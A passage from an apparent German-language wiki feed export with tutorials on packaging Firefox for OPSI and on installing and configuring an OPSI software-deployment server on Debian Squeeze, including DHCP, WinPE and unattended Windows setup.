 ; http://msdn.microsoft.com/en-us/library/aa372835(VS.85).aspx&lt;br /&gt;
 ; http://msdn.microsoft.com/en-us/library/aa368542.aspx&lt;br /&gt;
 if ($ExitCode$ = &amp;quot;0&amp;quot;)&lt;br /&gt;
         comment &amp;quot;looks good: setup program gives exitcode zero&amp;quot;&lt;br /&gt;
 else&lt;br /&gt;
         comment &amp;quot;Setup program gives a exitcode unequal zero: &amp;quot;+$ExitCode$&lt;br /&gt;
         if ($ExitCode$ = &amp;quot;1605&amp;quot;)&lt;br /&gt;
                 comment &amp;quot;ERROR_UNKNOWN_PRODUCT  1605    This action is only valid for products that are currently installed.&amp;quot;&lt;br /&gt;
                 comment &amp;quot;Uninstall of a not installed product failed - no problem&amp;quot;&lt;br /&gt;
         else&lt;br /&gt;
                 if ($ExitCode$ = &amp;quot;1641&amp;quot;)&lt;br /&gt;
                         comment &amp;quot;looks good: setup program gives exitcode 1641&amp;quot;&lt;br /&gt;
                         comment &amp;quot;ERROR_SUCCESS_REBOOT_INITIATED 1641    The installer has initiated a restart. This message is indicative of a success.&amp;quot;&lt;br /&gt;
                 else&lt;br /&gt;
                         if ($ExitCode$ = &amp;quot;3010&amp;quot;)&lt;br /&gt;
                                 comment &amp;quot;looks good: setup program gives exitcode 3010&amp;quot;&lt;br /&gt;
                                 comment &amp;quot;ERROR_SUCCESS_REBOOT_REQUIRED  3010    A restart is required to complete the install. This message is indicative of a success.&amp;quot;&lt;br /&gt;
                         else&lt;br /&gt;
                                 logError &amp;quot;Fatal: Setup program gives an unknown exitcode unequal zero: &amp;quot;+$ExitCode$&lt;br /&gt;
                                 isFatalError&lt;br /&gt;
                         endif&lt;br /&gt;
                 endif&lt;br /&gt;
         endif&lt;br /&gt;
 endif&lt;br /&gt;
&lt;br /&gt;
Die Datei icon.bmp enthaelt das Logo/Icon des Installers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun laden wir die zuvor erstellten Files nach /home/opsiproducts/firefox/CLIENT_DATA auf den Server.&lt;br /&gt;
Die Ordnerstruktur sollte dann wie folgt aussehen:&lt;br /&gt;
 /home/opsiproducts/firefox&lt;br /&gt;
 drwxr-s---  3 root pcpatch     4096 27. Sep 12:59 CLIENT_DATA&lt;br /&gt;
 drwxr-s---  2 root pcpatch     4096 27. Sep 12:58 OPSI&lt;br /&gt;
 drwxr-s---  2 root pcpatch     4096 27. Sep 12:58 SERVER_DATA&lt;br /&gt;
 /home/opsiproducts/firefox/CLIENT_DATA&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  2584  4. Jun 20:48 delsub.ins&lt;br /&gt;
 drwxr-xr-x 2 root pcpatch  4096 27. Sep 12:59 files&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch 40074  4. Jun 20:48 icon.bmp&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  4477 27. Sep 12:56 install.ins&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  2017  4. Jun 20:48 uninstall.ins&lt;br /&gt;
 /home/opsiproducts/firefox/CLIENT_DATA/files&lt;br /&gt;
 -rw-r--r-- 1 root root    17653976 27. Sep 10:36 Firefox Setup 16.0.1.exe&lt;br /&gt;
&lt;br /&gt;
Jetzt koennen wir das OPSI Paket erstellen lassen:&lt;br /&gt;
 cd /home/opsiproducts/firefox&lt;br /&gt;
 opsi-makeproductfile&lt;br /&gt;
&lt;br /&gt;
Als letztes installieren wir das erzeugte Paket:&lt;br /&gt;
 opsi-package-manager -i /home/opsiproducts/firefox/firefox_16.0.1-1.opsi&lt;br /&gt;
&lt;br /&gt;
Falls man schon eine fruehere Version auf den Clients installiert hatte, kann man diese nun automatisch beim Installieren des neuen Paketes auf setup oder update setzen:&lt;br /&gt;
 opsi-package-manager -iS /home/opsiproducts/firefox/firefox_16.0.1-1.opsi&lt;br /&gt;
 opsi-package-manager -iU /home/opsiproducts/firefox/firefox_16.0.1-1.opsi&lt;br /&gt;
&lt;br /&gt;
Jetzt einmal die Management-Oberflaeche (opsi-configed) neu laden und schon sollte unter Produktkonfiguration das Firefox Paket auftauchen.&lt;br /&gt;
Nun den Client/die Clients auswaehlen und Firefox auf setup stellen, dann einmal auf den roten Haken (Speichern der Konfiguration) klicken, schon sollte beim naechsten booten Firefox installiert werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
KioskMode aktivieren und konfigurieren:&lt;br /&gt;
In der Management-Oberflaeche (opsi-configed) wechseln wir in die Server-Konfiguration. Hier stellen wir software-on-demand.active auf true, software-on-demand.product-group-ids lassen wir auf software-on-demand stehen und software-on-demand.show-details stellen wir auf true.&lt;br /&gt;
Jetzt wechseln wir in die Client-Konfiguration und dort nach Produktkonfiguration. Hier klicken wir auf Einblenden und geben der neuen Gruppe einen Namen und zwar software-on-demand, so wie es auch in software-on-demand.product-group-ids steht und als Beschreibung z.B. Software auf Anfrage. Jetzt waehlen wir mit Steuerungstaste (strg) die Pakete aus die ins SofwareOnDemand einfliessen sollen aus und klicken danach auf speichern.&lt;br /&gt;
Jetzt muessen wir auf den vorhandenen Clients nur die neue Version von opsi-client-agent installieren (auf neuen Clients geschieht dies automatisch) und schon erscheint im Client unter Start&amp;gt;Programme&amp;gt;opsi.org der Eintrag software-on-demand, womit sich Programme einfach installieren, deinstallieren und neu installieren lassen.&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=OPSI_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=95</id>
		<title>OPSI INSTALL FAQ AUF DEBIAN SQUEEZE</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=OPSI_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=95"/>
		<updated>2013-04-29T19:53:39Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;OPSI INSTALL FAQ AUF DEBIAN SQUEEZE (Stand 17.10.2012) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Hier unsere Server/Client Beispiele dieser Anleitung:&lt;br /&gt;
 OPSI Server, Debian Squeeze 6.0x, IP 192.168.0.1, Hostname opsi.oppserver.net opsi&lt;br /&gt;
 Client Test (VirtualBox), MAC Adresse 08:00:27:48:d9:74, IP 192.168.0.200, Hostname opsi-test, Beschreibung opsi virtualbox test&lt;br /&gt;
 Client 1, MAC Adresse 00:50:fc:6b:9a:e3, IP 192.168.0.2, Hostname rechner001, Beschreibung Windows XP Pro x86 001&lt;br /&gt;
 Client 2, MAC Adresse 00:17:31:65:6c:2d, IP 192.168.0.3, Hostname rechner002, Beschreibung Windows 7 Pro x86 001&lt;br /&gt;
 Client 3, MAC Adresse 00:18:f3:b0:04:9f, IP 192.168.0.4, Hostname rechner003, Beschreibung Windows 7 Pro x64 001&lt;br /&gt;
 Router, IP 192.168.0.253, Hostname router&lt;br /&gt;
 (Bei den Clients keine Hostnames laenger als 15 Zeichen nutzen, da dies zu einem Fehler bei der Installation fuehrt)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als erstes als User root einloggen:&lt;br /&gt;
 sudo -s oder nur su&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pakete die nach der Grundinstallation mit Desktopumgebung (de)installiert werden sollten/muessen:&lt;br /&gt;
 aptitude purge network-manager network-manager-gnome&lt;br /&gt;
 aptitude install sudo gcc g++ make zip bzip2 unzip psmisc libc6 libc6-dev unrar linux-headers-`uname -r` subversion subversion-tools cvs mercurial ssh openssl wget lsof host python-mechanize p7zip-full cabextract openbsd-inetd samba samba-common smbclient smbfs samba-doc mysql-server&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pruefen Sie den Eintrag fuer den opsi-server in der Datei /etc/hosts oder aber die Ausgabe von&lt;br /&gt;
 getent hosts $(hostname -f)&lt;br /&gt;
Das Ergebnis sollte beispielsweise so aussehen:&lt;br /&gt;
 192.168.0.1 opsi.oppserver.net opsi&lt;br /&gt;
Sieht das Ergebnis nicht so aus (enthaelt z.B. 127.0.0.1 oder localhost) dann muessen Sie Ihre /etc/hosts oder Namensaufloesung zunaechst korrigieren.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 echo &amp;quot;deb http://download.opensuse.org/repositories/home:/uibmz:/opsi:/opsi40/Debian_6.0 ./&amp;quot; &amp;gt; /etc/apt/sources.list.d/opsi.sources.list&lt;br /&gt;
&lt;br /&gt;
 wget http://download.opensuse.org/repositories/home:/uibmz:/opsi:/opsi40/Debian_6.0/Release.key -O - | apt-key add -&lt;br /&gt;
&lt;br /&gt;
 aptitude update&lt;br /&gt;
 aptitude safe-upgrade&lt;br /&gt;
 aptitude remove tftpd&lt;br /&gt;
 update-inetd --remove tftpd&lt;br /&gt;
 aptitude install opsi-atftpd opsi-depotserver opsi-configed&lt;br /&gt;
&lt;br /&gt;
Da die OPSI Services nicht automatisch mitstarten, obwohl sie in den jeweiligen runleveln sind, habe ich folgendes in der /etc/rc.local vor dem exit 0 hinzugefuegt:&lt;br /&gt;
 /etc/init.d/opsiconfd restart&lt;br /&gt;
 /etc/init.d/opsipxeconfd restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bei der Installation des Tftpd werden Sie evtl. nach dem Tftp-Basisverzeichnis gefragt. Beantworten Sie diese Frage mit /tftpboot. Die Fragen nach Multicast Support koennen Sie mit Ja beantworten.&lt;br /&gt;
Bei der Installation des Paketes opsiconfd werden Sie nach Angaben zur Erstellung eines SSL-Zertifikates gefragt.&lt;br /&gt;
&lt;br /&gt;
Bei der Installation des opsi-servers werden Sie gefragt, ob die dhcpd.conf und die smb.conf gepatcht werden darf.&lt;br /&gt;
Beantworten Sie die Fragen mit Ja.&lt;br /&gt;
&lt;br /&gt;
Nun legen wir ein neues Passwort fuer den User pcpatch fest:&lt;br /&gt;
 passwd pcpatch&lt;br /&gt;
 smbpasswd -a pcpatch&lt;br /&gt;
 opsi-admin -d task setPcpatchPassword&lt;br /&gt;
&lt;br /&gt;
Falls noch kein USER angelegt wurde, wird er jetzt erstellt, sonst weiter bei Gruppenmitgliedschaft eingerichten:&lt;br /&gt;
 useradd -m -s /bin/bash USER&lt;br /&gt;
Wir vergeben nun Passwoerter fuer Unix:&lt;br /&gt;
 passwd USER&lt;br /&gt;
&lt;br /&gt;
Gruppenmitgliedschaft eingerichten:&lt;br /&gt;
 adduser root opsiadmin&lt;br /&gt;
 adduser USER opsiadmin&lt;br /&gt;
&lt;br /&gt;
Wir vergeben nun Passwoerter fuer Samba:&lt;br /&gt;
 smbpasswd -a USER&lt;br /&gt;
&lt;br /&gt;
Alle User, die Produkte packen (opsi-makeproductfile), installieren (opsi-package-manager) oder Konfigurationsdateien manuell bearbeiten wollen, muessen zusaetzlich in der Gruppe pcpatch sein:&lt;br /&gt;
 adduser USER pcpatch&lt;br /&gt;
root darf dies alles ohnehin und muss daher nicht explizit in die Gruppe aufgenommen werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Holen Sie sich die aktuellen notwendigen opsi-Pakete im opsi-Paketformat.&lt;br /&gt;
Die Pakete finden Sie unter http://download.uib.de/opsi4.0/products/&lt;br /&gt;
Nach dem Download muessen Sie die Pakete auf dem Server mit dem Befehl opsi-package-manager -i &amp;lt;paketname&amp;gt;.opsi installiert werden.&lt;br /&gt;
Sie koennen das interaktiv fuer jedes einzelne Paket tun. Wir empfehlen Ihnen dies automatisiert zu tun. Hierzu gibt es das Werkzeug opsi-product-updater, welches wie in /etc/opsi/opsi-product-updater.conf konfiguriert, automatisch die aktuellen Pakete vom opsi Repository holt und auf dem Server installiert.&lt;br /&gt;
&lt;br /&gt;
Z.B.:&lt;br /&gt;
 [wol]&lt;br /&gt;
 active = true&lt;br /&gt;
 [repository_uib]&lt;br /&gt;
 dirs = opsi4.0/products/localboot, opsi4.0/products/netboot, opsi4.0/testing&lt;br /&gt;
 autoInstall = true&lt;br /&gt;
 autoSetup = true&lt;br /&gt;
&lt;br /&gt;
Danach einfach folgenden Befehl ausfuehren und die Pakete werden installiert:&lt;br /&gt;
 opsi-product-updater -i -vv&lt;br /&gt;
&lt;br /&gt;
Sollte der opsi-product-updater Befehl scheitern, so muss evtl. ein Proxy in der Konfigurationsdatei eingetragen&lt;br /&gt;
werden unter&lt;br /&gt;
 [repository_uib]&lt;br /&gt;
 proxy =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wenn Sie das opsi Managementinterface opsi-configed direkt auf dem Server ausfuehren moechten, so benoetigen Sie eine Java Laufzeitumgebung. Die Laufzeitumgebung von Sun/Oracle ist die am besten getestete. Allerdings ist diese unter Linux nur noch eingeschraenkt zu beziehen. Als Alternative bietet sich das OpenJDK an. Meinen Erfahrungen nach funktioniert hier zumindest der Start ueber Webstart und als Applikation.&lt;br /&gt;
&lt;br /&gt;
 aptitude install sun-java6-jdk sun-java6-plugin python-simplejson&lt;br /&gt;
&lt;br /&gt;
Kontrollieren Sie, ob Java in der benoetigten Version installiert ist, indem Sie in einem Terminal&lt;br /&gt;
 java -version&lt;br /&gt;
aufrufen.&lt;br /&gt;
Sollte hier nicht mindestens Java Version 1.6.0 angezeigt werden, so muessen Sie dies in einem Terminalfenster mit&lt;br /&gt;
 update-alternatives anpassen:&lt;br /&gt;
 update-alternatives --config java&lt;br /&gt;
&lt;br /&gt;
   Auswahl      Pfad                                      Prioritaet Status&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
   0            /usr/lib/jvm/java-6-openjdk/jre/bin/java   1061      Auto-Modus&lt;br /&gt;
   1            /usr/bin/gij-4.4                           1044      manueller Modus&lt;br /&gt;
   2            /usr/lib/jvm/java-6-openjdk/jre/bin/java   1061      manueller Modus&lt;br /&gt;
 * 3            /usr/lib/jvm/java-6-sun/jre/bin/java       63        manueller Modus&lt;br /&gt;
&lt;br /&gt;
 Druecken Sie die Eingabetaste, um die aktuelle Wahl[*] beizubehalten,&lt;br /&gt;
 oder geben Sie die Auswahlnummer ein: 3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um (wie empfohlen) das mysql-Backend verwenden zu koennen (z.B. fuer die Inventarisierung), so muss dieses nun mit dem Befehl&lt;br /&gt;
&lt;br /&gt;
 opsi-setup --configure-mysql&lt;br /&gt;
&lt;br /&gt;
initialisiert werden.&lt;br /&gt;
In der Datei /etc/opsi/backendManager/dispatch.conf muss das Backend noch hinzugefuegt werden:&lt;br /&gt;
 backend_.*         : file, opsipxeconfd&lt;br /&gt;
 host_.*            : file, opsipxeconfd&lt;br /&gt;
 productOnClient_.* : file, opsipxeconfd&lt;br /&gt;
 configState_.*     : file, opsipxeconfd&lt;br /&gt;
 .*                 : file&lt;br /&gt;
&lt;br /&gt;
aendern in&lt;br /&gt;
&lt;br /&gt;
 backend_.*         : file, mysql, opsipxeconfd&lt;br /&gt;
 host_.*            : file, opsipxeconfd&lt;br /&gt;
 productOnClient_.* : file, opsipxeconfd&lt;br /&gt;
 configState_.*     : file, opsipxeconfd&lt;br /&gt;
 license.*          : mysql&lt;br /&gt;
 softwareLicense.*  : mysql&lt;br /&gt;
 audit.*            : mysql&lt;br /&gt;
 .*                 : file&lt;br /&gt;
&lt;br /&gt;
 opsi-setup --init-current-config&lt;br /&gt;
 opsi-setup --set-rights&lt;br /&gt;
 /etc/init.d/opsiconfd restart&lt;br /&gt;
 /etc/init.d/opsipxeconfd restart&lt;br /&gt;
&lt;br /&gt;
Ignorieren Sie Warnungen wegen einer nicht gefundenen /etc/opsi/modules.&lt;br /&gt;
Wer welche Methoden verwenden darf, ist in der Datei /etc/opsi/backendManager/acl.conf festgelegt.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Einspielen / ueberpruefen der Freischaltdatei&lt;br /&gt;
Auch wenn opsi Opensource ist, so gibt es einige Zusatz-Komponenten, die im Rahmen eines Kofinanzierungsprojektes erstellt wurden und evtl. noch nicht Opensource bzw. noch nicht kostenlos sind. Sobald die Entwicklungskosten eingenommen sind, werden auch diese Module Opensource bzw. kostenlos sein. Um bis dahin die Verwendung dieser Module den zahlenden Kunden und zu Evaluierungszwecken zu gestatten, gibt es die Freischaltdatei /etc/opsi/modules, welche durch eine elektronische Signatur vor unautorisierter Veraenderung geschuetzt ist. Ist diese Datei nicht vorhanden, so funktionieren nur die freien Module von opsi.&lt;br /&gt;
Um zu Evaluierungszwecken eine zeitlich befristet gueltige Freischaltdatei zu erhalten, wenden Sie sich an info@uib.de.&lt;br /&gt;
Im Rahmen einer Beteiligung an den entsprechenden Kofinanzierungsprojekten erhalten Sie eine unbefristet gueltige Freischaltdatei. Diese koennen Sie mit root-Rechten nach /etc/opsi kopieren.&lt;br /&gt;
Fuehren Sie danach den folgenden Befehl aus:&lt;br /&gt;
 opsi-setup --set-rights /etc/opsi&lt;br /&gt;
Kontrollieren Sie die Freischaltung mit einer der folgenden Methoden:&lt;br /&gt;
Im opsi-configed koennen Sie sich ueber den Menuepunkt Hilfe/opsi-Module den Status Ihrer Freischaltung anzeigen lassen.&lt;br /&gt;
Mit der Methode backend_info koennen Sie mit opsi-admin ueberpruefen, welche Module freigeschaltet sind. (Hinweis: Geben Sie die weder die Datei noch die Ausgabe dieses Befehls oeffentlich weiter, zumindest nicht ohne die Signatur zu loeschen).&lt;br /&gt;
 opsi-admin -d method backend_info&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Und nun wird DHCPd eingerichtet, als erstes sichern wir uns die default Konfigurations Datei:&lt;br /&gt;
 mv /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.orig&lt;br /&gt;
Folgendes in /etc/dhcp/dhcpd.conf ersetzen/hinzufuegen:&lt;br /&gt;
&lt;br /&gt;
 ddns-update-style none;&lt;br /&gt;
 &lt;br /&gt;
 option domain-name &amp;quot;oppserver.net&amp;quot;;&lt;br /&gt;
 option domain-name-servers 192.168.0.253, 8.8.8.8;&lt;br /&gt;
 &lt;br /&gt;
 default-lease-time 600;&lt;br /&gt;
 max-lease-time 7200;&lt;br /&gt;
 &lt;br /&gt;
 log-facility local7;&lt;br /&gt;
 &lt;br /&gt;
 use-host-decl-names on;&lt;br /&gt;
 subnet 192.168.0.0 netmask 255.255.255.0 {&lt;br /&gt;
         option routers 192.168.0.253;&lt;br /&gt;
         option broadcast-address 192.168.0.255;&lt;br /&gt;
         group {&lt;br /&gt;
                 next-server 192.168.0.1;&lt;br /&gt;
                 filename &amp;quot;linux/pxelinux.0&amp;quot;;&lt;br /&gt;
         }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Jetzt die richtigen Rechte setzen, da OPSI sonst nicht in diese Datei schreiben darf:&lt;br /&gt;
 chown opsiconfd:opsiadmin /etc/dhcp/dhcpd.conf&lt;br /&gt;
 chmod 664 /etc/dhcp/dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
Danach einmal den DHCPd restarten:&lt;br /&gt;
 /etc/init.d/isc-dhcp-server restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun muessen wir den DHCPd in die /etc/opsi/backendManager/dispatch.conf einfuegen/ersetzen:&lt;br /&gt;
 backend_.*         : file, mysql, opsipxeconfd, dhcpd&lt;br /&gt;
 host_.*            : file, opsipxeconfd, dhcpd&lt;br /&gt;
&lt;br /&gt;
Nach Anpassung der Backendkonfiguration muss die Konfiguration initialisiert und der opsiconfd neu gestartet werden:&lt;br /&gt;
&lt;br /&gt;
 opsi-setup --init-current-config&lt;br /&gt;
 opsi-setup --set-rights&lt;br /&gt;
 /etc/init.d/opsiconfd restart&lt;br /&gt;
 /etc/init.d/opsipxeconfd restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start der Management-Oberflaeche (opsi-configed)&lt;br /&gt;
Opsi bietet mit dem opsi-configed ein komfortables Management Interface.&lt;br /&gt;
Sie koennen es auf mehrere Weisen starten:&lt;br /&gt;
Wenn Sie in einem Browser (irgendwo im Netz) die Adresse https://192.168.0.1:4447/configed eingeben, erscheint eine Webseite mit als Applet eingebettetem opsi-configed. Damit es funktioniert, muessen Sie auf dem aufrufenden Rechner eine (Sun) Java-Version &amp;gt;= 1.6 installiert haben.&lt;br /&gt;
Alternativ koennen Sie auf der graphischen Oberflaeche Ihres opsi-servers mit Klick auf die rechte Taste das Kontextmenue oeffnen und „opsi config editor“ auswaehlen.&lt;br /&gt;
Der Konfigurationseditor ist auch Bestandteil der opsi-adminutils, die im Rahmen der opsi-Anwendung lokal auf Clients installiert werden koennen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation eines neuen Windows Rechners ueber opsi (OS-Installation) (Windows 7 x86 als Beispiel)&lt;br /&gt;
Anlegen eines neuen opsi-Clients ueber die Management Oberflaeche:&lt;br /&gt;
Als Client-Rechner eignen sich reale oder virtuelle Rechner mit mindestens 512 MB RAM, die ueber eine Netzwerkkarte mit Netzwerkboot-Unterstuetzung verfuegen: D.h., sie unterstuetzen das PXE-Protokoll zum Laden von Boot-Systemen via Netzwerk. Der Netzwerkboot ist ggf. im Bios-Menue zu aktivieren bzw. an die erste Stelle der Bootoptionen zu ruecken.&lt;br /&gt;
Fuer einen ersten Tests empfehlen wir eine VMware-Appliance, die einen „nicht installierten Rechner“ abbildet und im VMware-Player laufen kann. Diese koennen Sie z.B. bei download.uib.de herunterladen (http://download.uib.de/vmware_pxeclient.zip).&lt;br /&gt;
Diese virtuelle Hardware wird auf eher von den Standardtreibern von Windows unterstuetzt, wenn Sie spaeter eine Testinstallation von Windows durchfuehren. Zur Installation von Windows auf neueren realen Rechnern muessen Sie sehr wahrscheinlich vorab zusaetzliche Treiber integrieren.&lt;br /&gt;
Den Client koennen Sie jetzt mit dem opsi-configed beim opsi-server registrieren. Waehlen Sie den Menue-Punkt OpsiClient / Neuen opsi-Client erstellen und geben Sie ein:&lt;br /&gt;
• IP-Namen,&lt;br /&gt;
• (Internet-) Domain (falls abweichend von der Vorgabe),&lt;br /&gt;
• Beschreibung (fakultativ),&lt;br /&gt;
• IP-Nummer (nur zwingend, sofern der opsi-server DHCP-Server ist),&lt;br /&gt;
• MAC-Adresse der Netzwerkkarte des Clients (zwingend, sofern der opsi-server DHCP-Server ist; andernfalls dringend empfohlen).&lt;br /&gt;
Nach Eingabeabschluss wird der Client dem opsi-server bekanntgemacht und gleichzeitig in der DHCP-Konfiguration als PXE-Client angelegt.&lt;br /&gt;
Ein Client kann auch auf der Kommandozeile per opsi-admin erzeugt werden:&lt;br /&gt;
opsi-admin -d method host_createOpsiClient &amp;lt;client-id&amp;gt; [opsiHostKey] [description] [notes] [hardwareAddress] [ipAddress] [inventoryNumber] [oneTimePassword] [created] [lastSeen]&lt;br /&gt;
z.B.:&lt;br /&gt;
 opsi-admin -d method host_createOpsiClient rechner001 &amp;quot;Windows XP Pro x86 001&amp;quot; &amp;quot;&amp;quot; 00:50:fc:6b:9a:e3 192.168.0.2&lt;br /&gt;
Die Liste der eingerichteten opsi-Clients kann jederzeit im opsi-configed Modus „Client-Konfiguration“ unter dem Reiter Client-Auswahl eingesehen werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Hardware-Inventarisierung mit dem netboot-Produkt hwinvent:&lt;br /&gt;
Sofern Sie bereits einen Client eingerichtet haben und das Produkt hwinvent installiert ist, koennen Sie bereits etwas Nuetzliches mit opsi tun:&lt;br /&gt;
Waehlen Sie im opsi-configed, Modus Client-Konfiguration, unter dem Reiter Client-Auswahl den betreffenden Client aus. Wenn noch nicht geschehen, aktualisieren Sie den Datenbestand des opsi-configed mittels Datei/Daten neu laden bzw. Anklicken des entsprechenden Icons. Wechseln Sie zum Reiter Netboot-Produkte, gehen Sie in das Feld &amp;quot;Anstehende Aktion&amp;quot; des Produkts &amp;quot;hwinvent&amp;quot; und waehlen Sie in der dort angebotenen Liste die Aktion &amp;quot;setup&amp;quot;.&lt;br /&gt;
Der Haken in der Icon-Menueleiste sollte seine Farbe auf Rot wechseln. Wenn Sie ihn anklicken, werden die neuen Einstellungen zum opsi-server uebermittelt und die Farbe des Hakens wechselt im Anschluss wieder zu gruen.&lt;br /&gt;
Booten Sie dann den Client. Er sollte jetzt per PXE ueber das Netz ein Linux-Image ziehen, das die Hardware des PCs scannt und dann den Rechner rebootet (wenn der Rechner nicht ansonsten schon eingerichtet war, kommt im Anschluss korrekterweise die Meldung, dass auf der Platte kein Betriebssystem installiert ist).&lt;br /&gt;
Das Ergebnis des Hardware-Scans hat der PC zum opsi-server uebermittelt. Es ist unter dem Reiter &amp;quot;Hardware-Informationen&amp;quot; zu besichtigen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Erstellen eines PE fuer Win7 (x86)&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\PETools\copype.cmd&amp;quot; x86 C:\winpe&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\x86\imagex.exe&amp;quot; /mountrw &amp;quot;C:\winpe\winpe.wim&amp;quot; 1 &amp;quot;C:\winpe\mount&amp;quot;&lt;br /&gt;
 echo c:\opsi\startnet.cmd &amp;gt; &amp;quot;C:\winpe\mount\Windows\System32\startnet.cmd&amp;quot;&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\x86\imagex.exe&amp;quot; /commit /unmount &amp;quot;C:\winpe\mount&amp;quot;&lt;br /&gt;
 move &amp;quot;C:\winpe\winpe.wim&amp;quot; &amp;quot;C:\winpe\ISO\sources\boot.wim&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Den Inhalt des Verzeichnis C:\winpe\ISO nach /opt/pcbin/install/win7/winpe kopieren.&lt;br /&gt;
Rechte anpassen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7/winpe&lt;br /&gt;
&lt;br /&gt;
Fuer die folgenden Schritte wird ein Arbeitsplatzrechner mit installiertem WAIK (Windows Automated Installation Kit) unter Windows 7 64-Bit benoetigt.&lt;br /&gt;
&lt;br /&gt;
Erstellen eines PE fuer Win7 (x64)&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\PETools\copype.cmd&amp;quot; amd64 C:\winpe&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\amd64\imagex.exe&amp;quot; /mountrw &amp;quot;C:\winpe\winpe.wim&amp;quot; 1 &amp;quot;C:\winpe\mount&amp;quot;&lt;br /&gt;
 echo c:\opsi\startnet.cmd &amp;gt; &amp;quot;C:\winpe\mount\Windows\System32\startnet.cmd&amp;quot;&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\amd64\imagex.exe&amp;quot; /commit /unmount &amp;quot;C:\winpe\mount&amp;quot;&lt;br /&gt;
 move &amp;quot;C:\winpe\winpe.wim&amp;quot; &amp;quot;C:\winpe\ISO\sources\boot.wim&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Den Inhalt des Verzeichnis C:\winpe\ISO nach /opt/pcbin/install/win7-x64/winpe kopieren.&lt;br /&gt;
Rechte anpassen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7-x64/winpe&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Treiber-Integration&lt;br /&gt;
Die Treiber-Integration verlaeuft analog zu dem Verfahren anderer Windows Versionen: Die Treiber werden unter&lt;br /&gt;
/opt/pcbin/install/win7/drivers/drivers bzw. /opt/pcbin/install/win7-x64/drivers/drivers abgelegt. Danach wird das Script create_driver_links.py aufgerufen.&lt;br /&gt;
&lt;br /&gt;
 cd /opt/pcbin/install/win7&lt;br /&gt;
 python create_driver_links.py&lt;br /&gt;
oder&lt;br /&gt;
 cd /opt/pcbin/install/win7-x64&lt;br /&gt;
 python create_driver_links.py&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bereitstellung der Installationsmedien&lt;br /&gt;
Kopieren der Installations-DVD nach&lt;br /&gt;
/opt/pcbin/install/win7/installfiles bzw. /opt/pcbin/install/win7-x64/installfiles und passen Sie Rechte/Eigentuemer an:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7/installfiles&lt;br /&gt;
bzw.&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7-x64/installfiles&lt;br /&gt;
&lt;br /&gt;
Anpassungen der Installation, z.B. Proxy oder Administrator Passwort oder Display Aufloesung, kann man unter /opt/pcbin/install/win7/custom/unattend.xml bzw. /opt/pcbin/install/win7-x64/custom/unattend.xml vornehmen, z.B.:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;				&amp;lt;AdministratorPassword&amp;gt;&lt;br /&gt;
					&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
					&amp;lt;Value&amp;gt;P@ssw0rd&amp;lt;/Value&amp;gt;&lt;br /&gt;
				&amp;lt;/AdministratorPassword&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
			&amp;lt;AutoLogon&amp;gt;&lt;br /&gt;
				&amp;lt;Enabled&amp;gt;true&amp;lt;/Enabled&amp;gt;&lt;br /&gt;
				&amp;lt;LogonCount&amp;gt;1&amp;lt;/LogonCount&amp;gt;&lt;br /&gt;
				&amp;lt;Username&amp;gt;Administrator&amp;lt;/Username&amp;gt;&lt;br /&gt;
				&amp;lt;Password&amp;gt;&lt;br /&gt;
					&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
					&amp;lt;Value&amp;gt;P@ssw0rd&amp;lt;/Value&amp;gt;&lt;br /&gt;
